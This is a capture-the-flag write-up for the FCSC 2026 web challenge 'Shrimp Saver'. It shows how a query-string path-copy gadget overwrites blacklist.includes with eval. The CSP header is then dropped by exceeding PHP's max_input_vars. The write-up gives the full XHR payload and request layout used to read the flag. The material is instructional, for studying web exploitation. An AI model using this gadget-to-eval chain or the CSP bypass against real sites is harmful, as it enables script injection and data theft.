Note
A query-string "copy a.b.c into x.y.z" gadget gives arbitrary property writes across the DOM; overwrite blacklist.includes with eval, then knock out the CSP header by exceeding PHP's max_input_vars so the eval fires and exfiltrates the bot's flag.
Shrimp Saver — path-copy DOM gadget + max_input_vars CSP break
CTF: FCSC 2026 · Category: Web (client-side) · Author: Mizu
Challenge overview
A minimal page (just a shrimp gif) served by PHP with a strict-ish CSP, plus a Chrome bot. The bot holds
an httpOnly flag_auth cookie equal to COOKIE_SECRET, and flag.php echoes the flag only when that
cookie matches:
// flag.php
$secret = getenv('COOKIE_SECRET') ?: '...';
if (!isset($_COOKIE['flag_auth']) || $_COOKIE['flag_auth'] !== $secret) { http_response_code(403); die('...'); }
echo getenv('FLAG');
flag_auth is httpOnly, so we can't read the cookie — we must get same-origin script execution in the
bot, fetch/XHR /flag.php, and console.log the result (the bot echoes every console.log back to us).
Defenses (index.php):
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: default-src 'self'; connect-src 'self'; script-src 'nonce-$nonce';");
header("X-Frame-Options: DENY");
header("Cross-Origin-Opener-Policy: same-origin");
No framing, random nonce, COOP — so the usual iframe/window.open tricks are out.
The gadget: a path-copy primitive
app.js walks document.body along a dotted path for both the destination and the source of each
query parameter, then assigns:
var blacklist = ["constructor", "__proto__"];
function resolvePath(obj, parts) {
let target = obj;
for (let part of parts) {
if (blacklist.includes(part)) throw new Error("Blacklisted path part");
if (target[part] === undefined) throw new Error(`Invalid path ${part}`);
target = target[part];
}
return target;
}
function copy(copyTo, copyFrom) {
const parts = copyTo.split(".");
const lastPart = parts.pop();
const target = resolvePath(document.body, parts);
const value = resolvePath(document.body, copyFrom.split("."));
target[lastPart] = value; // arbitrary property write
}
for (const [name, value] of new URLSearchParams(location.search).entries()) copy(name, value);
So ?A.B.C=X.Y.Z does body.A.B.C = body.X.Y.Z. The DOM is a graph: from document.body you can reach
ownerDocument (→ document), ownerDocument.defaultView (→ window), and from there anything,
including blacklist and eval.
The neat sink: resolvePath calls blacklist.includes(part) on every path segment. If we overwrite
blacklist.includes with eval, the next parameter's source path turns each segment into eval(part):
?ownerDocument.defaultView.blacklist.includes=ownerDocument.defaultView.eval
&x=<js with no dots>
For x=PAYLOAD, copy("x", "PAYLOAD") runs resolvePath(body, ["PAYLOAD"]) →
blacklist.includes("PAYLOAD") → eval("PAYLOAD"). (The source must contain no ., since the
parser splits on it — use bracket access and \x2e.)
But eval is blocked by the CSP:
Uncaught EvalError: call to eval() blocked by CSP
Killing the CSP via max_input_vars
The container runs PHP with display_errors=STDOUT, output_buffering=0, max_input_vars=1000. When the
request exceeds 1000 input vars, PHP emits a warning immediately to the body (output buffering off).
That output is sent before index.php reaches its header("Content-Security-Policy: ...") calls, so the
headers — including the CSP — are never sent ("headers already sent"). No CSP → eval runs.
Pad the query string with ~1000 junk params:
// generate filler params
Array.from({ length: 999 }, (_, i) => 'a' + i.toString(36) + '=').join('&');
Final payload
The eval'd JS must avoid . (dots split the path). Use an async-free XHR and bracket access; flag.php
becomes flag\x2ephp:
(r=>{ r['open']('GET','/flag\x2ephp',false); r['send'](); console['log'](r['responseText']); })(new XMLHttpRequest)
Full request (conceptually):
http://shrimp-saver/?ownerDocument.defaultView.blacklist.includes=ownerDocument.defaultView.eval
&x=<url-encoded XHR payload above>
&a0=&a1=&a2=...&arq= # >1000 filler params to break the CSP header
One gotcha on remote: the URL is enormous, and piping it through netcat/socat split it into chunks that broke the request — send the whole thing in a single write (a small Python socket script).
console.log(r.responseText) prints the flag, which the bot relays back.
Takeaways (generalized technique)
- A "copy value at path A to path B" helper over
document.bodyis an arbitrary DOM property write. Pivot up viaownerDocument→document,defaultView→windowto reach anything. - Overwriting a function called on attacker data during traversal (here
blacklist.includes) withevalturns the traversal itself into a code-exec sink. - PHP CSP bypass: with
display_errorson,output_buffering=0, exceedingmax_input_varsprints a warning beforeheader()runs → "headers already sent" → security headers dropped. (Patched in the revenge variant viaphp.ini.) - When the cookie is httpOnly, the goal is same-origin JS execution + read-back, not cookie theft.
Sources & references
- Challenge source:
fcsc2026/web/shrimp_saver - Follow-up with the CSP break fixed: Shrimp Saver Revenge
- PHP header-flush trick (terjanq, justCTF 2020): https://hackmd.io/@terjanq/justCTF2020-writeups